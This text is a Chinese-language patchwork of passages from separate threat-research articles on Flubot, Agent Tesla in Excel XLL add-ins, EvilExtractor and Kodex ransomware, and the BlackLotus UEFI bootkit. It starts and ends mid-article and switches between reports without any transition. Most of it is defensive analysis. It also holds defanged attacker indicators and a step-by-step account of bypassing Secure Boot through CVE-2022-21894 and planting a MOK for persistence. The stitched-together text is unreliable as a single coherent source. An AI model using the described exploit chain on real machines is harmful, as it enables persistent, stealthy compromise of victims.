從2.1到2.8,研究人員觀察到攻擊者開始對Flubot的實際負載使用不同的打包程序。它可以解釋為什麼我們無法在2.1和2.8之間的公共存儲庫中找到樣本,可能有一些“內部”版本。

用於嘗試不同的打包程序或使其與新打包程序一起使用。

2021年3月:Flubot版本3.4-3.7新增了針對新的國家的攻擊和傳播活動的功能在幾個月的時間裡,研究人員專注於Flubot的傳播活動忽略了惡意軟件本身的新功能,在3.4版本中,攻擊者對DGA代碼進行了一些修改。在這個版本中,他們將生成域的數量從每月5000個減少到2500個。乍一看,這似乎是一個不起眼的改變,但因個改變,攻擊者可以以更容易的方式在不同的國家傳播Flubot,因為每個國家都使用了具有不同參數的不同樣本。

事實上,我們可以在2021年3月18日看到針對德國受害者定制的新版本(3.6)。僅僅五天后,又傳播了另一個版本(3.7),其中有一些有趣的變化。攻擊者們試圖在西班牙和德國的廣告家族中使用相同的樣本,包括用換行符分隔的西班牙和德國電話國家代碼以阻止受感染設備發送短信的電話號碼。

5.png

與此同時,攻擊者們推出了一項針對匈牙利的新活動。到3月底,開發者們在3.7版中引入了一項新變化:這是出現在DGA中的一個重要變化,因為他們將“.com”頂級域名替換為“.su”。這一變化對於跟踪Flubot很重要,因為現在攻擊者可以使用這個新的TLD來註冊新的C2的域。

2021年4月:Flubot版本3.9-4.0中出現了DoH和一些獨特的樣本自3月下旬以來,攻擊者們似乎一直在開發新版本:Flubot3.9。在這個新版本中,他們引入了DNS-over-HTTPs(DoH)。此新功能用於解析DGA生成的域名。這樣,檢測網絡中受感染的設備變得更加困難,因為安全解決方案無法檢查到。

正在解析哪些域。

在下圖中,我們展示了這個新版本的反編譯代碼,包括新的DoH代碼。攻擊者們保留了舊的經典DNS解析代碼。攻擊者引入了代碼來隨機選擇是否應該使用DoH或經典DNS。

6.png

DoH的引入並不是Flubot3.9新增的唯一功能。攻擊者們也添加了一些UI信息,以準備未來針對意大利的活動。

幾天后,這些消息在新的Flubot4.0版本中使用,其中攻擊者開始為所有活動使用一個樣本,不再針對不同國家/地區的唯一樣本。

在這個新版本中,在之前版本的Flubot中使用的目標國家參數是根據受害者的設備語言選擇的。這樣,如果設備語言是西班牙語,那麼使用西班牙語參數。選擇以下參數:

——DGA種子;

——用於smishing和電話號碼封鎖的電話國家代碼;

2021年5月:Flubot4.1-4.3版本對基礎設施和C2服務器進行了改進2021年5月,4.0版的惡意軟件中出現了一個新的更新,一個用於解析DGA域的DoH服務器的更改。現在他們不再使用CloudFlare的服務器,而是開始使用谷歌的服務器。這是使用新版本Flubot4.1的第一步。

在這個新版本中,攻擊者再次更改了用於解析C2域的DoH服務器。在這種情況下,他們引入了三種不同的服務或DNS服務器:Google、CloudFlare和AliDNS。最後一個是在Flubot生命週期中第一次用於解析DGA域。

7.1.png

7.2.png

隨機選擇這三個不同的DoH服務或服務器來解析生成的域,最終向任何活動的C2服務器發出請求。

這些變化還在比利時引發了一場新的活動,攻擊者使用虛假的BPost應用程序和smishing消息來引誘新的受害者。一周後,土耳其也出現了類似的活動,這次是一個新的Flubot版本,與C2協議相關的重要變化。

Flubot4.2的第一個樣本出現在2021年5月17日,其中對用於與C2服務器通信的代碼進行了一些重要更改。在這個版本中,惡意軟件使用C2中的新路徑“p.php”發送HTTP請求,而不是經典的“poll.php”路徑。

8.png

乍一看,這似乎是一個微小的變化,但仔細觀察代碼,我們意識到這一變化背後有一個重要原因:攻擊者更改了用於與C2服務器通信的協議的加密方法。

以前版本的Flubot使用簡單的XOR加密來加密與C2服務器交換的信息,但這個新版本4.2使用RC4加密來加密該信息,而不是經典的XOR。這樣,C2服務器仍然同時支持舊版本和新版本:

poll.php和poll2.php用於使用舊的XOR加密發送/接收請求;

p.php用於使用新的RC4加密發送和接收請求;

9.png

除了4.2版的新協議加密之外,攻擊者在5月底還增加了對羅馬尼亞新活動的支持。

最後,在2021年5月28日,發現了Flubot4.3的新樣本,並進行了微小的更改,主要集中在惡意軟件實現的字符串混淆上。

2021年6月:Flubot4.4-4.6版本新出現了語音信箱,並出現在新的國家在發現Flubot4.3的第一個樣本幾天后(2021年5月31日和2021年6月1日),研究人員觀察到了Flubot的新樣本即版本號增加到4.4。

不過這個新版本沒有太大的變化。攻擊者們只是增加了對葡萄牙活動的支持。正如我們在4.3和4.4版本中看到的那樣,Flubot的攻擊者們經常會在短短幾天內通過細微的更改,這樣就可以提高版本號了。有些版本甚至沒有在公共存儲庫中找到(例如3.3版),這表明有些版本從未公開使用過,或者只是跳過了。也許那些“從未被使用的版本”在傳播服務器中只持續了幾個小時,並迅速更新以修復漏洞。

在6月份,攻擊者們幾乎沒有對功能進行任何更改,而是在致力於新的傳播活動。

在4.5版中,攻擊者們將斯洛伐克、捷克共和國、希臘和保加利亞添加到未來活動的國家列表中。攻擊者們為他們所有人重複使用相同的DGA種子,因此傳播此版本不需要他們做太多工作。

在發現4.5版幾天后,研究人員很快又發現了一個新的4.6版,並新增了奧地利和瑞士。此外,重新引入了在先前版本中刪除的一些國家:瑞典、波蘭、匈牙利和荷蘭。

這個新版本的Flubot不僅覆蓋了更多的國家/地區,攻擊者們還引入了一種新的誘餌:語音郵件。在這個新的“語音郵件”活動中,受感染的設備被用來向新的潛在受害者發送短信,其中用戶被引導到一個虛假網站。在攻擊者安裝“語音郵件”應用程序之後,它應該允許用戶收聽收到的語音郵件消息。在下圖中,我們可以看到針對西班牙用戶的VoiceMail活動。

10.png

2021年7月是活動較少的月份。在這個月,只有一個版本更新在本月初被觀察到,即Flubot4.7。這個新版本沒有根據國家或設備語言使用不同的DGA種子。攻擊者開始從種子列表中隨機選擇種子,這些種子和之前用於國家或設備語言的種子是一樣的。

11.png

除了與DGA種子相關的變化外,攻擊者還新增了一些國家,如塞爾維亞、克羅地亞和波斯尼亞和黑塞哥維那。

Flubot在夏天幾乎沒有活動,可能是開發人員忙於他們的暑假。在8月和10月攻擊者會陸續恢復他們的活動。

2021年8月至9月:Flubot4.7-4.9版本開始出現

在4.7版本中,攻擊者將澳大利亞也列入了攻擊名單。

僅僅一周後,攻擊者就發布了4.8版本,研究人員在其中發現了一些與UI消息和警報對話框相關的細微變化。

12.png

今年9月,Flubot又出現了一個版本變化,4.9版本出現了一些更小的變化,就像之前的4.8版本一樣。這一次,攻擊者在C2服務器中引入了新的web注入來竊取受害者的憑證。這兩個有微小變化(不是很相關)的新版本似乎是一種功能的回歸。在研究人員看來,這兩個月發生的最有趣的事情是攻擊者開始使用Flubot殭屍網絡傳播另一個惡意軟件家族。研究人員從C2服務器收到了一些smishing任務,其中虛假的“語音郵件”網站正在為Teabot(也稱為Anatsa和Toddler)而不是Flubot提供服務。

這非常有趣,因為它表明Flubot的攻擊者也可能與這個惡意軟件家族有關,或者至少可能有興趣將殭屍網絡出售給其他惡意軟件開發者,以達到欺騙的目的。正如我們將看到的,這不是Flubot傳播的唯一家族。

摘要在2021 年7 月27 日至12 月1 日期間,Unit 42 研究人員觀察到Agent Tesla 和Dridex 惡意軟件樣本激增,這些樣本是被Excel 插件(XLL) 和Office 4.0 宏釋放的。我們發現Excel 4.0 的宏釋放程序主要用於釋放Dridex,而XLL 下載程序用於釋放Agent Tesla 和Dridex。雖然惡意XLL 文件已經為人所知很長一段時間,但它們在威脅環境中的再次出現則代表了一種新趨勢。

我們觀察到的XLL 文件主要通過電子郵件傳播,其中包含從abcovid[.]tech 電子郵件地址發送的報價誘導內容,電子郵件主題為“INQUIRY”。這些電子郵件的目標包括以下行業的組織:製造業、零售業,聯邦、州和地方政府,金融,藥品,運輸,教育以及美國、歐洲和東南亞的其他幾個國家。此外,我們看到的一些惡意XLL 文件濫用了名為Excel-DNA 的合法開源Excel 插件框架。

本文,我們先來看看XLL 文件屬性、被濫用的合法開源框架和最終的Agent Tesla 有效載荷。下一部分我們將介紹其他感染流程,即提供Dridex 樣本的XLL 和Excel 4 (XLM) 釋放程序。

Palo Alto Networks 客戶可通過Cortex XDR 或WildFire 雲傳播的下一代防火牆安全訂閱,獲得針對此處討論的攻擊的保護。

1.png

感染鏈下圖中的流程圖顯示了我們在調查期間觀察到的兩個可能的事件鏈:

受害者收到一封帶有惡意附件的電子郵件;

附件是一個惡意的XLL或XLM文件;

在XLL的情況下,當運行它時,它會:

釋放一個中間投放程序,該投放程序又會釋放一個Agent Tesla 有效載荷;

從Discord 下載Agent Tesla 有效載荷;

從Discord 下載Dridex 有效載荷;

在XLM 的情況下,運行時它會釋放一個VBS 下載程序,該下載程序從Discord 下載並執行Dridex 示例。

雖然Agent Tesla 和Dridex 感染鏈不一定由同一個攻擊者傳播,但它們似乎是感染載體新趨勢的一部分。

2.jpeg

感染鏈

什麼是XLL ?XLL 是Excel 插件的擴展,實際上,XLL 只是一個普通的PE-DLL 文件。 XLL 文件擴展名與一個圖標相關聯,該圖標與其他Excel 支持的擴展名非常相似。反過來,普通用戶不會注意到XLL 和其他Excel 文件格式之間的任何區別,並且可以被誘導打開它。這可能令人驚訝,但是Excel很樂意在雙擊時加載和執行XLL文件。

3.png

XLL 圖標

Excel 加載XLL 後,會根據定義的XLL 接口調用XLL 文件的導出函數。其中兩個接口函數很突出:xlAutoOpen 和xlAutoClose。這些函數在加載程序激活或停用後分別被調用。這些函數可以用來加載惡意代碼,類似於經典VBA宏中的Auto_Open和Auto_Close方法。

XLL 文件的一個缺點是它們只能由Excel 以正確的位加載,例如,64 位XLL 只能由64 位版本的Excel 加載。 32 位版本也是如此。因此,惡意軟件開發者必須依賴安裝在受害者設備上的Excel 版本。

與VBA 宏一樣,Excel 將警告用戶執行插件引起的安全問題。

4.png

嘗試執行XLL 文件時Excel 發出警告

由於上述原因,XLL 文件對於尋求在受害設備上獲得初步立足點的攻擊者來說可能是一個不錯的選擇。攻擊者可以將代碼打包到Excel 加載的DLL 中,這反過來可能會誤導不准備處理這種情況的安全產品。

下圖顯示了PE 編輯程序中的XLL 文件示例。在其他導出函數中,我們可以找到xlAutoOpen 和xlAutoClose 函數。

5.png

PE 標頭編輯程序CFF Explorer 顯示的Excel 插件導出

惡意Excel 插件(XLL) 下載程序我們觀察到帶有以下XLL 樣本的惡意電子郵件:

SHA256:7a6f8590d4be989faccb34cd393e713fd80fa17e92d7613f33061d647d0e6d12

SHA256:fbc94ba5952a58e9dfa6b74fc59c21d830ed4e021d47559040926b8b96a937d0

Excel-DNA我們遇到的XLL 示例使用了一個用於Excel 插件開發的合法開源框架,稱為Excel-DNA。該框架有幾個功能也適合惡意軟件開發者。一種是無需“接觸”磁盤即可將打包在PE 資源中的壓縮.NET 程序集直接加載到內存中的功能。因此,儘管Excel-DNA 是一個合法的框架,但它具有類似於惡意加載程序的功能,並且可以作為加載程序被濫用。

Excel-DNA 還有另一個屬性可能會阻礙Yara 的覆蓋,甚至惡意軟件開發者也可能不知道。出於某種原因,許多Excel-DNA樣本有10000多個導出函數,其中大多數是沒有任何有意義的函數。 Yara PE模塊導出函數解析限制只有8192個。因此,針對位於索引高於8192 的某個導出名稱的Yara 規則將不會與樣本匹配。

當我們查看Excel-DNA XLL 的資源時,我們可以看到一個名為__MAIN__ 的XML 資源。此資源包含有關Excel-DNA 加載哪個模塊的信息。在我們的示例中,指定的模塊將從名為JACK 的資源中被解壓縮。

資源將使用LZMA 算法解壓縮,然後加載到內存中。

6.png

Excel-DNA 資源

我們已經創建了用於從Excel-DNA插件中提取這類程序集的Python代碼。你可以在Unit 42 GitHub 存儲庫中找到此腳本。

Jack 資源加載的模塊是一個簡單的釋放程序,加載模塊後,將調用AutoOpen 方法。此方法中的惡意代碼將最終的有效載荷可執行文件放入%AppData%\service.exe 並執行它。值得注意的是,Jack 中包含的模塊是可配置的,這意味著在其他版本中它可以下載有效載荷而不是釋放它,以及釋放一個真正的Excel 模板並執行它。

配置如下圖所示,其中包含以下選項:

bDown:下載有效載荷。

templateEnabled :釋放並打開一個Excel 模板。

有效載荷:包含要釋放的有效載荷。

7.png

使用AutoOpen方法反編譯JACK 下載程序模塊的代碼,如dnSpy所示。

8.png

下載程序配置變量和字節數組中包含的最終有效載荷

最終有效載荷——Agent TeslaSHA256:AB5444F001B8F9E06EBF12BC8FDC200EE5F4185EE52666D69F7D996317EA38F3最終的有效載荷是一個經過混淆的Agent Tesla 樣本。在功能方面,Agent Tesla 被廣泛記錄。我們的示例使用SMTP 協議將被盜數據洩露到電子郵件phantom1248@yandex[.]com。下圖顯示了我們的Agent Tesla 樣本的反編譯入口點。它的結構與其他Agent Tesla 樣本類似。

9.png

Agent Tesla 的反編譯主函數

字符串解密Agent Tesla 示例將其所有字符串以加密形式存儲在大量字符中。

初始化時,示例將“大字節數組”的每個字節與硬編碼字節170 和“大字節數組”中字符的索引(修剪為字節大小)進行異或。接下來,樣本通過將解密後的數組拼接成已知的偏移量和相應的長度來填充一個存儲所有字符串的數組。例如,讓我們檢查偏移量665 中的8個字節:

10.png

下面的代碼將解密後的字節數組偏移量665處的8個字節分配給字符串數組的第53個成員。

11.png

字符串分配代碼

通過解密的字符串數組,我們可以看到Agent Tesla想要竊取的各種目標:

敏感的瀏覽程序信息和cookie;

郵件、FTP 和VPN 客戶端信息;

來自Windows Vault 的憑據;

記錄的擊鍵和屏幕截圖;

剪貼板信息;

Windows Vault為了從Windows Vault 竊取信息,Agent Tesla 開發者似乎將PowerSploit 腳本轉換為C# 以構建.NET 程序集。

它使用P/Invoke 從vaultcli.dll 庫中調用API 函數。首先,將調用VaultEnumerateItems 以獲取所有可用的庫。接下來,將使用VaultOpenVault 打開每個庫。庫打開後,將使用VaultEnumerateItems 枚舉包含的項目。最後,使用VaultGetItem 讀取項目的屬性。 Agent Tesla 將查詢記錄為自己的列表中的項目(手動反混淆代碼如下圖所示)。

12.png

用於記錄提取的Windows Vault 項目的反混淆Agent Tesla 代碼

下面是Agent Tesla 用來竊取信息的Windows Vault GUID和相應的描述列表:

13.png

總結近期惡意軟件激增,我們分析了使用Excel 插件(XLL) 的感染鏈,還描述了惡意軟件開發者如何濫用合法的Excel-DNA 框架來創建這些惡意XLL。最後,我們簡要描述了最終的Agent Tesla 有效載荷以及它試圖從受害者係統中竊取的信息,重點是Windows Vault 數據。在最近的攻擊中使用Excel 插件可能表明攻擊發展的新趨勢。

在下一篇文章中,我們將描述另一個感染鏈,其中涉及使用Excel 4.0 宏來傳播Dridex。

EvilExtractor(有時拼寫為Evil Extractor)是一種旨在針對Windows操作系統並從終端設備提取數據和文件的攻擊工具。它包括幾個通過FTP服務工作的模塊。它是由一家名為Kodex的公司開發的,該公司聲稱這是一款教育工具。然而,FortiGuard研究表明,攻擊者正在積極使用它作為信息竊取工具。

2023年3月,惡意活動顯著增加。 FortiGuard實驗室在3月30日的一次釣魚電子郵件活動中發現了這種惡意軟件。它通常偽裝成合法文件,如Adobe PDF或Dropbox文件,但一旦加載,它就開始利用PowerShell的惡意活動。它還包含環境檢查和反虛擬機功能。其主要目的似乎是從受攻擊的終端竊取瀏覽器數據和信息,然後將其上傳到攻擊者的FTP服務器。

研究人員最近審查了一個被注入受害者係統的惡意軟件版本,作為分析的一部分,我們發現大多數受害者位於歐洲和美國。開發商於2022年10月發布了其項目,並不斷更新以提高其穩定性並加強其模塊。

本文將研究用於EvilExtractor的初始攻擊方法及其功能。

1.png

EvilExtractor在網上出售

初始訪問帶有惡意附件的網絡釣魚電子郵件如下圖所示。它偽裝成一個帳戶確認請求。攻擊者還通過使用解壓文件的Adobe PDF圖標來欺騙受害者。 PE標頭如下圖所示。

2.png

釣魚郵件

3.png

“Account_Info.exe”的文件標頭

執行文件是由PyInstaller封裝的Python程序。我們用pyinstxtractor提取它,發現它的主代碼文件“contain.pyc”中的“PYARMOR”字符串,是Python腳本的混淆工具,使惡意軟件更難被分析和檢測。我們從_pytransform.dll中提取了密鑰和iv,並使用AES-GCM解密了“contain.pyc”。

4.png

' include .pyc'中的代碼

除了Python程序之外,我們還觀察到了一個可以提取EvilExtractor的.NET加載程序。下圖是代碼的一部分。它包含Base64編碼的數據,該數據是PowerShell腳本。此執行文件由工具“PS2EXE-GUI”生成,該工具可以將PowerShell腳本轉換為EXE文件。

5.png

EvilExtractor的.Net代碼

EvilExtractor在解密pyc文件之後,我們得到了EvilExtractor的主代碼。它是一個PowerShell腳本,包含以下模塊:

日期時間檢查;

反沙盒;

反虛擬機;

反掃描器;

FTP服務器設置;

竊取數據;

上傳被盜數據;

清除日誌。

它首先檢查系統日期是否在2022.11.9和2023.4.12之間。如果沒有,則使用以下命令刪除PSReadline中的數據並終止:

6.png

然後,它比較產品模型,看看它是否匹配以下任何一個:VirtualBox、VMWare、Hyper-V、Parallels、Oracle VM VirtualBox、Citrix Hypervisor、QEMU、KVM、Proxmox VE或Docker,如下圖所示。它還將受害者的主機名與來自VirusTotal設備或其他掃描儀/虛擬機的187個名稱進行檢查,如下圖所示。

7.png

EvilExtractor比較產品模型以進行匹配

8.png

虛擬環境和掃描器/虛擬機檢查

通過環境檢查後,EvilExtractor從http://193[.]42[.]33[.]232下載三個用於竊取數據的組件。這些文件也是使用PyArmor進行混淆處理的Python程序。第一個是“KK2023.zip”,用於竊取瀏覽器數據並將其保存在“IMP_Data”文件夾中。它可以從Google Chrome、Microsoft Edge、Opera和Firefox中提取cookie。它還從以下瀏覽器收集瀏覽器歷史記錄和密碼:

9.png

第二個文件是“Confirm.zip”。它是一個將數據保存在“KeyLogs”文件夾中的鍵盤記錄器。最後一個文件“MnMs.zip”是一個網絡攝像頭提取器。其對應的代碼如下圖所示。

10.png

下載Keylogger和Webcam Snapshot函數的組件

EvilExtractor還通過PowerShell腳本收集系統信息,如下圖所示。下圖顯示了一個名為“Credentials.txt”的文本文件中的連接數據。

11.png

用於收集系統信息的PowerShell腳本

12.png

“Credentials.txt”的內容

EvilExtractor從Desktop和Download文件夾下載具有特定擴展名的文件,包括jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml和html。它還使用命令“CopyFromScreen”來捕獲屏幕截圖,代碼如下圖所示。

13.png

下載文件並獲取截圖

EvilExtractor從受攻擊的終端提取所有數據後,將其上傳到攻擊者的FTP服務器,如下圖所示。 EvilExtractor的開發人員還為購買其惡意軟件的用戶提供了FTP服務器。

14.png

將文件上傳到攻擊者的FTP服務器

Kodex 勒索軟件EvilExtractor還具有勒索軟件功能,它被稱為“Kodex勒索軟件”,如下圖所示。我們從上一節提到的.net加載程序中提取了此PowerShell腳本,其勒索軟件的腳本與其竊取程序的腳本相似。

15.png

來自evilextracom[.]com的介紹

它從evidtextractor[.]com下載“zzyy.zip”。解壓後的文件(一個7-zip的獨立控制台)的詳細信息如下圖所示。下圖顯示了它利用“7za.exe”用參數“-p”加密文件,這意味著用密碼壓縮文件。它還生成一條保存在“KodexRansom”中的勒索消息。

16.png

“zzyy.zip”中的文件

17.png

Kodex勒索軟件的PowerShell腳本

18.png

勒索消息

總結EvilExtractor是一個多功能信息竊取程序,具有包括勒索軟件在內的多種惡意功能。它的PowerShell腳本可以在.NET加載程序或PyArmor中躲避檢測。在很短的時間內,它的開發人員已經更新了幾個功能,並提高了它的穩定性。本文介紹了攻擊者如何通過網絡釣魚郵件發起攻擊,以及利用哪些文件來提取EvilExtracrtor PowerShell腳本。本文還詳細介紹了EvilExtractor包括哪些功能,它可以收集哪些數據,以及Kodex勒索軟件的工作原理。用戶應該警惕這種新的信息竊取程序,並謹慎打開可疑郵件。

19.png

攻擊鏈

繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。

簡而言之,該過程包括兩個關鍵步驟:

利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。

為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。

7.png

繞過安全啟動並使用MOK設置持久性

利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。

此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。

讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點:

受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。

這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。

有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。

例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_

現在,我們繼續介紹BlackLotus如何利用此漏洞:

1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。

2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。

3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。

8.png

合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較

4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。

9.png

BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894

5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項:

值設置為0x10000000的truncatememory;

nointegridchecks設置為Yes;

testsigning也設置為Yes;

此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。

6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從

10.png

從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll

7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。

11.png

Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼

Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。

shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。

12.jpg

MOK啟動過程

8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡:

8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。

8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。

8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。

最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。

13.png

Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性

BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識:

內核驅動程序負責:

部署鏈的下一個組件—HTTP下載器;

在被終止運行的情況下保持加載器不被關閉;

防止從ESP中刪除bootkit文件;

如果HTTP下載器指示的話,執行額外的內核有效負載;

根據HTTP下載器的指示,卸載bootkit。

HTTP下載器負責:

與CC通信;

執行從CC收到的命令;

下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。

從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。

14.png

BlackLotus UEFIbootkit執行示意圖

BlackLotus執行流程執行步驟如下(這些步驟如下圖所示):

1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。

2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。

3.驗證後,shim執行bootkit。

4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。

5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復:

5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。

5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。

5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。

5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。

5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。

15.png

OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點

6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。

7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。

內核驅動程序內核驅動程序主要負責四個任務:

將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它;

保護部署在ESP上的bootkit文件不被刪除;

解除用戶模式Windows Defender進程MsMpEngine.exe;

